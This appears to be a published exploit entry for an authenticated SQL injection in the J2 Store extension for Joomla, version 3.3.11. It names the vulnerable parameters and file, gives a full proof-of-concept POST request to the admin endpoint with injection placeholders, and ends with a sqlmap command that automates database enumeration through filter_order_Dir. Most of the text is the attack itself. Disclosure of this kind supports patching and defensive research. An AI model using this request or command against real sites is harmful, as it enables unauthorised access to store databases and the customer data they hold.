#Exploit Title: Joomla J2 Store v3.3.11 - Authenticated SQL Injection
#Date: 17.04.2020
#Exploit Author: Mehmet Kelepçe / Gais Cyber Security
#Vendor Homepage: https://www.j2store.org/
#Software Link: https://www.j2store.org/download.html
#Reference: https://www.j2store.org/download-j2store/j2store-v3-3-3-13.html
#Change Log: https://www.j2store.org/download-j2store/j2store-v3-3-3-13.html
#Version: 3.3.11
#Tested on: Kali Linux - Apache2 
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Detail:
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File: administrator/components/com_j2store/models/products.php
Vulnerable parameter: filter_order_Dir, filter_order

PoC:
Request: 
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POST /joomla/administrator/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/administrator/index.php?option=com_j2store&view=products
Content-Type: application/x-www-form-urlencoded
Content-Length: 312
Connection: close
Cookie: [COOIKE]
Upgrade-Insecure-Requests: 1

option=com_j2store&view=products&task=browse&boxchecked=0&filter_order=[SQLi]&filter_order_Dir=[SQLi]&2d42ab72d5c2716881de5d802d08ca7f=1&search=1&product_type=0&limit=20&since=&until=&productid_from=&productid_to=&pricefrom=&priceto=&sku=&manufacturer_id=&vendor_id=&taxprofile_id=&visible=&limitstart=0
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sqlmap -r sqli --dbs --risk=3 --level=5 --random-agent -p filter_order_Dir 

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